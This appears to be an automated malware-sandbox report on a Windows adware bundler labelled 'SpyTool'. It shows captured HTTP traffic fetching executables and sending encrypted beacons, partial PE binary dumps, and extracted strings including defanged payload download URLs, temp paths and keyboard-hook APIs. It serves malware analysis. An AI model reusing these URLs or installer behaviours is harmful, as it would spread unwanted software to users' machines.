Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:43 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=40532

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1441580323.dop018.am4.t,1441580323.cds046.am4.c
[..Wa<.3.......Y.}S.Q)|.x.P..r._ip`...h.r...@..k.....8..o.D_C.0.h..
M...gv......J..g.....a.4..~....A.Y.. .u:7..... i...$.....p...ORP.P... 
....._.@......?.F.....8.@..l....{n...XGi......2..........FOqM..N_.}...
S*he.I.q.. ..V...=.E....1....M.S.......f3%.?.....Ug.\.}...I..g..w..[..
..t..yR..DJ3.;.;W...._.....y.:..XZ<..40a.I..A...vUW..,...u"......&g
t;..*.....@D...YX.4.......v]...T.$..T.1...2.X..o.X....@.%...n.LL....-.
.A...n.......uq<.r$..t`M.:c9C..l./....}2.......{.O...7............;
...M..x...rwqL.\.. ..b.........*f!..S|..*g...'dl..........eN..km...:.6
.....s....n.5..0_r8 D.W...".S/%r.rU..c.......C.v5..C...3..z....\.B.-a.
.r......|..G..W.....2h..>jSy....Z.........tE...T....R.2...p..Q>.
..f.fj.#.Z.l....7..h.....>...-..K...<....?....B..........,.....$
..~........^..V...Uq.672kCC......i....J....*...K.......0..14....{.Wwf"
.K.p....;.6.H."6y.q.E~. i.`...hN.....d../\A....hY.$!}3..7.*&.n......Z.
..Q>W.......`0.q..M..A@*.Y 0..7l"m......0...4..X2.|.C2j.[..K...gu..
.?.a..s.B.kX......j.t...B@|d.l._.zZ.. ."D(..PD..l?.%..w.....).v,v9m...
w........G..C.SU.l7*JlW.....56.....v..{............G..3..0....R......Y
.h,u..k.'.....$..&.[.9.. 8..1..DZF....n......l_.......*.R...Q$.3.q\..'
...]...k..*..0....^#.|A.v...K...........T.Q.#...^e.c....V\..ysD.Ai^.ly
..P.~..lreD.g_.Q.....i..kS.R...f..=9.9..q=D."......-N...C.....%.-..u..
...<.qj..:..s......:>.I`.PJ..vQ.K.....o.)qew.K.G....w.....tJ.a4.
..L.[.......0.0#.),......7....J}*..^`w..Q.h...~e..Ql..*..|}...K.Z.*..'
.....|..rp.@_.b..!..R.%....%..m"....W9..$ 1.......VZ..''.1,|..V...<<< skipped >>>

GET /7121923af824073a25b2b7e6ba0a6e0e.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d1mdi78qyff344.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 59213

Connection: keep-alive

Date: Thu, 27 Aug 2015 02:50:12 GMT

Last-Modified: Wed, 26 Aug 2015 15:24:15 GMT

ETag: "ad3ce40da858a76f235974af46c18365"

Accept-Ranges: bytes

Server: AmazonS3

Age: 82744

X-Cache: Hit from cloudfront

Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hV4eTiJxA1GZYRgQhVPavmFWw76jIRgozWb7-_GuvZ9W1pwOL14mGQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................`...............................................t....
...P..................................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@..@.data...X\......
.....v..............@....ndata...`...............................rsrc.
.......P.......z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /SysInfo/Validate.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: download-servers.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Sun, 06 Sep 2015 22:58:37 GMT

Content-Type: application/octet-stream

Content-Length: 61981

Last-Modified: Fri, 15 May 2015 22:16:55 GMT

Connection: keep-alive

ETag: "55567057-f21d"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
................. ...............................................t....
.......C..............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@..@.data...X\......
.....v..............@....ndata...................................rsrc.
...C.......D...z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_INI HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:59 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Sun, 06 Sep 15 22:59:00 GMT

Set-Cookie: _c4aid=C279EF6B66154A66BFF80ABC380EC9BE; expires=Fri, 04 Mar 16 22:58:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=C279EF6B66154A66BFF80ABC380EC9BE,1441580339.9876; expires=Fri, 04 Mar 16 22:58:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
41.......if (window.rdp_callback).....rdp_callback(1203, 134153);.....
.0..

POST /cgi-bin/get_protect.cgi HTTP/1.1

x-spidermessenger-crypted: 2

x-spidermessenger-crc32: 3033805887

x-spidermessenger-length: 275

Content-Type: text/*

User-Agent: gmsd_re_005010082-gmsd_re_005010082

Host: prof.youandmeandmeandyouhihi.com

Content-Length: 388

Cache-Control: no-cache

ujXl2iaEv38K+/yRWyXC+m7rYR+qMqcs9YxhFIEq0IR+DeoNyHhucH3AWCVIM82OvKfaWpH1ZSOWy0Dpia69T3lIMCvCR21OveDZQ/XXXEvKY08Z6zRaY5GekUZHva3ixQp/A61qO8X6fSTpS9M1hVPOQ0hf1UMUk0ir+EApjvuFovnG57lLgOpZQ3o+GoqOM8Q8RTj7e8FyaU3C4vA8ueT34pG6WhOzc02xXp1+ZsXsTEsL0fbxYWOrh42PrO0BS6mrwoyRj9lKiE4lmoNaenzgQyJ3OF2bhWxHTdLDBp9FVeWxaD4HzC5aFB62wTeejj7+o27gpsmVxMOlRwDVzzJBCyUcSdg8pdyTmkVZTOc=
HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:06 GMT

Server: Apache/2.2.22

x-SPIDERMESSENGER-crypted: 2

x-SPIDERMESSENGER-length: 26780

x-SPIDERMESSENGER-crc32: -1

Set-Cookie: conftime=1441580346; expires=Fri, 31 Dec 15 16:45:00 GMT; domain=youandmeandmeandyouhihi.com; path=/;

Set-Cookie: EoRezo=194.242.96.218.1441580346384969; path=/; expires=Tue, 06-Oct-15 22:59:06 GMT

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Content-Type: text/plain

8b8c..0NogVEVNeZU/g6fcxXpPm8L/TbLACp6qNZeGXV8m6ec/K8dk0/yY5pEI4yS2Vf5K
1CwWkZ8xeq2FoHZiTq7fWERGyCAg88jpdmzVknJJbtdhSvgVLNEQZKmNKxPN3kfibTew3 
ynOvjDhwwNX4fU19cLBEHf1q/Xj32GKoBkNDpFEvQc2RNtJ53wo0SzNY73Ov0OwqXrzI2Y
O2u8inUw0nO7c1EmhCQa2i/vBM3WBxToytgI8AOZc7DjCjAaRYTOA9U3l7UzRV6FAZu2v4
g3ulzh/9x1IGPxQZ ffhxpadw/DzrvkqIcDjnYcLzX2/T6mdAgziXQ1zS9fntDExMPzF4m
EGRvMVaLVzLB/0YVBFquldZVsV4h9unpiSbw1f3qQ5EFPlQi26/QJv 3kNlNdp tr/lkOe
FrVL83yFaGdpsYkXakmn7Pt7ZivEIj95W3RVcyfN9hm0pt/TqXb B3S1ofXW8r6p 4AWkK
yzijRV7iyih3ub9ayKXA6INIGTlp9lzBIZq/DXhICiLT3fYXBCAsiy0fZ vtup2vHkkbVz
dvTa3d2qnNFhAny8u3TD8A5GJnNUWGWZ/XIX1UAy6f8QLQ757q8lQgpFmZGWO3sIINr6Ht
Sg4mw1wELaWkbtB2JSSQX1SDYf28innm5lOBkMMSpQykFY5IIgYrir2Cqb6w2v/KWlr TA
cyuJY3pYjHl2scsWGsjJbClyG2dIIYCYsunQskBnasOo 0KTubN45K25nsH/9ochuVmgUR
butJlRo9L/8J2yHJSHWAPy5UBXJhDyJrLp/A5cwUKUG2XTXoFkIYzsBSi4gF41BXlSNf5R
W8 cUWdVC7g6whpHq5zdViEmK6TBVmPa0ywj0DampQIWGH6XAicRPzNPkA3pwGQPhRAhK1
EQy674qbveGK0Dbggqpl9hPBcXr2h/QKUPtW8kDd5vUs6Bfoovyi kyj5OHQYJNVNNdM55
Ipa23hIRbp5JewGq5JryjIJFiiaMsgOZqDnOfX6CWx HesvbGAlb/CalPV /Dc u7kOjLM
vmrXRsT/6JORuj3YqV13x/PrYFPi8WugrRu9l1c4nUlzjd0ULa662scOvFhEuxPdkQPJFw
rFL57keT5G8LZVER63WolNb39XBGEzhCVCeSeWchOVOZjXFuuH6on/U6smoF9yaH 6JS2v
sXPUN7L84rp Kt5v C3KStZZHo/5vPjfyhixbp5u52FmBq/gosyIMKMItZUvnb6ai/ScNd
tSn/4aqx8QplIoIxQAD0R tvc5SOU1q0Mr/5zFMRwXBIxKyy8fmp7alHdHZUHdmu6mmIUe
Q6AxGqv442UewrTLJ3rwrfuE54X/BfMjZmRBBbiesg2SoVwfIMzrG/Cp/FIvjjy3u/y2JI
dKWJKbEeEFZ4gS5WxFAUylpqdACC72Youxetp5EYkKQWOSg33xZRk/ifdsLDfkLGp82 El
ytFTV8xkvfcaeKo0DNU1IkqQhLNqawVHAVj/FJ4gJt9UdHImFQX1cx2sK66CQRgZkz

<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.004 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:43 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=40536

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1441580323.dop018.am4.t,1441580323.cds035.am4.c
......."`...P.PB.............z.....R^z......cxT...x... ;K.....8..9i...
.|9..7...D..p[.2..!!.S.._.^..Z..W..8.@.'..\&!.!k...~..4.......f.V.u...
0...^......,T;.....%......ch...F..c.........G.2../l.wr 1.&.?!..r.k.U..
..}%....w....}.2...}......oD.KX.G....p...s...$.W...c.Q.*<.4...Lz...
@r.g;....~..w#..........`..@..m...){..$.......=z...J23..Bp....~.2.j...
....pJ..X..C... .U.O5..h............._W...)#....:_lk.b.Z'..]..s0...6Y%
..W........<...cP\Y..G.u.,U..B.og...8.C.~.8~..tj...t ....TT.-UQ....
M.....1N-.x....P.p.#...wI..W...G.[.jO..Q.2.V1=..,/.......~..........."
..Hma..se...^?.k....=...5...p.....I..G.hm. .vD....._...[.l...,.......s
....O.....WU.v-:'.j..%...|....7.g...'..o1..._m.,.!.n.V.........Y5...}s
<t..G.R3;R;8.....yP=.-.N...l{..r9..4.n&...U4..n..p.W....{d/l......*
....!O*.j.}...%Q.....k.j..1=^.@G....!jI..5.....^7.O. ...DwR.....J/.@..
4d."... ..$...#..........Xc.R>Vv.......;.d..C..W....'.....8 .*4Xw.d
rM.^...UE.C...]>.....ycA.... ....l..:..z..y....=I......9.........z.
y......uX.... .T..........d-dj.7.d.!Q.qCqj.4.S{.&.".......s;..P.\.l..7
...-OP....I...._\.YX2.6.Mb..._...5O.4....e..tyo...z.z.2.8..5........W.
.7......|.$............^..]..x...|...S...$....F.|_.SS......=...'...`rX
....y...e.O..b...............U9hPfr..5KJ6;&.....d.d.......... .j....Wu
.:...hk...a..s...]......?..T.]..8.cRN...........6..C=[.k....`......s]$
.B, ....7;A......... ^.h~{..\:ybG.$..f.Q..l........#..FB.. ..........;
.,RS.4].B-...N.EyNE...q.P_..g..}AY~_gz......42...%......Nx..D.D.!.]...
[..o.1..&....."W.........nKK..).....<.x.@............?.m......c<<< skipped >>>

The SpyTool connects to the servers at the folowing location(s):

nskA.tmp_1676:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc43.tmp

360TotalSecurity.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl10.tmp\inetc.dll

hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

33/este/re/setup_gmsd_re.exe&errorlevel=0

hXXp://download-servers.com/partners/360/360TotalSecurity.exe

/password

Uploading %s

8!8-8B8I8}8

@.reloc

HttpSendRequestA

HttpSendRequestExA

HttpQueryInfoA

FtpCreateDirectoryA

FtpOpenFileA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpEndRequestA

InternetCrackUrlA

WININET.dll

inetc.dll

Open URL Error

URL Parts Error

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

REST %d

SIZE %s

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Proxy-authorization: basic %s

%s:%s

FtpCommandA

wininet.dll

%u MB

%u kB

%u bytes

%d:d:d

%s - %s

(Err=%d)

NSIS_Inetc (Mozilla)

Filename: %s

u.Uj@

MSVCRT.dll

FtpCreateDir failed (550)

Error FTP path (550)

Downloading %s

~y.Po

.tx__$

@h.Bm

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss44.tmp

nss44.tmp

://livestatscounter.com/Generic/vos.php?ch=

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nskA.tmp /idn

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc43.tmp

Uninstall.exe

n.php?r=vu_vo2_

d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nskA.tmp /idn

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

nskA.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsqE.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl10.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nskA.tmp

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe&v=2\"}"}

e/setup_gmsd_re.exe&errorlevel=0&v=2\"}"}

hXXp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

/este/re/setup_gmsd_re.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw13.tmp

dlgen.php?r=vu_vo2_

)-.Yln

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

1.0.0.1

upgmsd_re_005010082.exe_380:

.text

`.rdata

@.data

.rsrc

@.reloc

RSSSSSSh

t.hX0f

QSShh

tFHt:Ht.Ht"Hu`

SSSSh

u$SShe

tWSShW

tl9_ tgSSh

t'SShl

SSSShx

j%XtL9E

FtPW

SSh@B

u.SSh

tsSSh

FTCP

t.WWWSP

tAHt.HHt

FTPS

<SShG

u)SShF

s%j.Zf

xSSSh

FTPjKS

FtPj;S

C.PjRV

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

!"#$%&'((()* ,-./01

CNotSupportedException

CCmdTarget

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

CFtpFileFind

CHttpConnection

CFtpConnection

CHttpFile

RegDeleteKeyExW

TaskDialogIndirect

CMDITabProxyWnd

CMDIChildWndEx

CMDIFrameWndEx

CMDIChildWnd

CMDIFrameWnd

CMDIClientAreaWnd

CHotKeyCtrl

CMFCToolBarsKeyboardPropertyPage

GetProcessWindowStation

operator

portuguese-brazilian

qR.Rd

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

%%X

RegSetKeySecurity error! (rc=%lu)

Key not found.

Error opening key.

ntdll.dll

?456789:;<=

!"#$%&'()* ,-./0123

LookupPrivilegeValue error: %u

twrejsg$45567;;;;%%%%564&&&yghjfghjfghjffgfdgdfg.,df.g,dhgdfhgfhdf...fhg.h.dfg.sd,fg.sg,f.sd,hrthrthrthdfgh56456456jhtr56uy56u56u56u56tgiuergiuerhgpuherguherguherguetrguhertoueugh

ertyr56u56u56adfhafdsfghggfdsgaafsdasdfsfasadsgasdgsgdfa5634453.dfgsd.&&%//(/&)($&/&$/fg,d.fg,sfa4564564563456356fthrthrthrthrfthrt5656u6ethyrthjrthjrethjrthjerthjertjherthjrthjtrhjrthj

Error %d: Could not begin update of %s

Error %d: Updating resource

!"#$%&'()* ,-./:;<=>?@[\]^_`{|}~

C:\appbuilder_2.0_multiinstall\Release\temp.pdb

IPHLPAPI.DLL

PSAPI.DLL

GetProcessHeap

GetWindowsDirectoryW

GetCPInfo

KERNEL32.dll

GetKeyState

SetWindowsHookExW

CreateDialogIndirectParamW

UnhookWindowsHookEx

MsgWaitForMultipleObjectsEx

GetAsyncKeyState

MapVirtualKeyW

GetKeyboardLayout

GetKeyboardState

GetKeyNameTextW

MapVirtualKeyExW

EnumChildWindows

USER32.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GDI32.dll

MSIMG32.dll

COMDLG32.dll

WINSPOOL.DRV

RegLoadKeyW

RegUnLoadKeyW

RegOpenKeyExW

RegCloseKey

RegCreateKeyExW

RegSetKeySecurity

RegDeleteKeyW

RegEnumKeyExW

RegQueryInfoKeyW

RegEnumKeyW

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

COMCTL32.dll

UrlUnescapeW

SHLWAPI.dll

ole32.dll

OLEAUT32.dll

oledlg.dll

OLEACC.dll

InternetCrackUrlW

HttpOpenRequestW

HttpSendRequestW

HttpQueryInfoW

InternetCanonicalizeUrlW

FtpDeleteFileW

FtpRenameFileW

FtpCreateDirectoryW

FtpRemoveDirectoryW

FtpSetCurrentDirectoryW

FtpGetCurrentDirectoryW

FtpPutFileW

FtpGetFileW

HttpAddRequestHeadersW

HttpEndRequestW

HttpSendRequestExW

FtpOpenFileW

FtpCommandW

FtpFindFirstFileW

InternetOpenUrlW

WININET.dll

GdiplusShutdown

gdiplus.dll

IMM32.dll

WINMM.dll

.PAVCOleException@@

.PAVCException@@

.PAVCObject@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCArchiveException@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.?AVCFtpFileFind@@

.?AVCFtpConnection@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0EA@@ATL@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WV12@PB_W@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WPAVCDocument@@PAV3@@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_W_N_N@@

.?AV?$CMap@PAVCDocument@@PAV1@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_W@@

.?AVCToolCmdUI@@

.?AVCMDITabProxyWnd@@

.?AVCMDIChildWndEx@@

.?AVCMDIChildWnd@@

.?AVCMDIFrameWndEx@@

.?AVCMDIFrameWnd@@

.?AVCMFCToolBarCmdUI@@

.?AVCKeyboardManager@@

.PAVCOleDispatchException@@

.?AV?$CList@PAVCMDIChildWndEx@@PAV1@@@

.?AVCMDIClientAreaWnd@@

.?AVCMFCRibbonCmdUI@@

.?AV?$CArray@PAVCMFCRibbonKeyTip@@PAV1@@@

.?AVCMFCWindowsManagerDialog@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WPAUHMENU__@@PAU3@@@

.?AVCMFCCmdUsageCount@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WPAVCObList@@PAV3@@@

.?AVCMFCColorBarCmdUI@@

.?AV?$CMap@KKV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_W@@

.?AVCMFCStatusBarCmdUI@@

.?AVCMFCAcceleratorKey@@

.?AVCHotKeyCtrl@@

.?AVCMFCRibbonKeyTip@@

.?AVCOleCmdUI@@

.?AVCMFCToolBarsKeyboardPropertyPage@@

.?AV?$CMap@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@PB_WHH@@

.?AVCMFCTasksPaneToolBarCmdUI@@

.?AVCMFCRibbonKeyboardCustomizeDialog@@

.?AVCMFCAcceleratorKeyAssignCtrl@@

zcÁ

.?AV?$CArray@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@ABV12@@@

.?AVCCmdTarget@@

.PAVCFileException@@

.PAVCInternetException@@

X6CCA4ttNnppZYNNMIllZ*xxi/ggHkRRq`wwm\tt8LttBbnnBupppQNNvcXXc4eeEOCCe"005`nnHy00y:ggvcxxJ6oop5VVJ8nnK$nnNOjjw9663"nnH6LLNMuuc$ddp.lldjbb1JSS3}66xqoopJddp|xxJ<ggR{WWcwNNW/pp4USSAVCCGeVVfHQQcXnnL[llH<qqw8wwK$LL8OSSwXSSZ}WWc'jjEQuuxann4?bb3NNN2\XXG/ggc|mmeoLLUqbbc"bbPnhhH]qq4vpp1}ggHOuuHz99J;vvN_llwXSS1e33WOuuJ<00GekkfOVVYfnn1=xxIewwHnjjMuoov<bbA4llc4HH1www2b11P XXJ(RRY&XXNXjj6Lvvw_wwA uu3_XXv9CCGzqq3xWW3655RlwwHjqqT/ttB/EEB|hhNgttR;nn4PVVW0QQe 00xBxxv.llRsoosxooB7kkB9gg3UXXdALLcPbbHZ33t2ppcMddi>SS2SLLWpuuwLFFAunnJqNNrvmmBgxxh'uuv gg6]ww3xxxdEvvKQnnw[SSJV33mbttcnXXP^XX1G33c?QQx qqZQjjHCNNB!nnsNllO'llA"ooEMuuw_VV6/pp4=xxg*wwx%qqM$QQKdFFZ>WWN|xxCEooz<xxn<SSevNNWrkksexx5ujjvKxxT<vvJ[SS5IXXdGjjcajjp9jjLBCCN;55J4SSH}XXHGggf2LLk-ppcOdds@WWZ@NNVIuuz,XXz/mmr{VVCquue266HWWWvcIIURll2$33I}WWeLuu1(WWz$aaE`ccH_LLP3wwNTHH3xvvzZjjHbll2~VV3xccHtLLt wwr{ggwOuu4?LLCrwwd]jjH5ppryqqy*oos|ee4OwwpuXXI[SSAHww1Ooor[nnzqjjAKLL6?CCv}11E ppd5llBNSSsXoo4PwwxwNN2Wggd/ddHOwwHmVVL@pppnxxL6ooNa555BSS3Lddq}CCB;LLIWbbcNoo66nnf:LLTgnne|33c*XXK\VVtUvvHzRRzMxxxNSS4XQQvXllC2XXejddemggp]ooVbjjZuxxOBkkwDllVVCCK~qqYgSSJUxx2Txxz=XXOkSSG0wwZ^nnv{XXyGWWz,xxR)SSrLLLg/SSJc11VzWWm\xxxfuu1fbb4ixxfdbb6~nnviII22xxcgxxlgggv=VV8Mmm4Vuu3@QQeuVVj!QQx-xxm7ppvt331*ggm7ooH5jj2]xxMFccJBttN7XXA%MM5`ppf>ddisvvNVxxq SSHuRRt"ooHf66C|xxxTNNKzWWG9nne(uuZwggBpCCx?dd4VWWf800v0nnv|115moo3$jjTRSSpvllyYQQwVnnzMjjHVjjl{kkzyVVTPQQ15nnr9mmNxVVmimmz%XX2tWWfDee6ÌGuqqxQvvJujjq<ood,qqGowwZxww3]kkzdxx3uWW4~MM1VuuKQjjgCjjGyggk1mmp|llhfllpIww1fCCNaLL3wWWr~nnK\bbm;ddqACCm\xxl`SSG)dd8NppJ[xxJ^mmv/llZoooz#NNbEwwxNVV26ggpvggOakkfkjjOoggG5XXu)uuc/xxOIuu4UggrUQQAfxxh^uuK(NNw^jjB}LLyEXXGrggZunnw1VVCJppv"XXETvvv133u)WWf8ddqfttwMnnr%SSw_99AhuuvR113ymmJCddepWWx\nnK@QQ4ILLt7ggpXwwJfuuv/xxE!ooN6XXT;wwKbnnlhjj1zjjm6ccJL002TWWN,66WCXXdQXXfZuu2;33B6WWZ1XXC?ggKkVVxDxxf0eeHNttB]EEBUuuw@llk5kkr(LLt$QQK(llC#QQ1lLL2lxxp^aa2_WWd0bbN=ww1fEER#hhBvxxWvnnBTtt8gttKCXXMdmmJIVVkippf&SS2axx1PNNUyooeWuuH uu1lVVthjjJqXXR(wwf$33Znjj1J338$WWHu00UNvvsRnnm[xx23xx6aQQ3QttRrvvJ766orWWcFuu3imm2/VVuqppd?FFE!kkdFVVjOppf7LL5dbbwfggG=llc1MM1-ttv!VVW"CCf3HH6VSSm;lln9uuv0gg5{lle&nnN,ggNJqqJ}ood 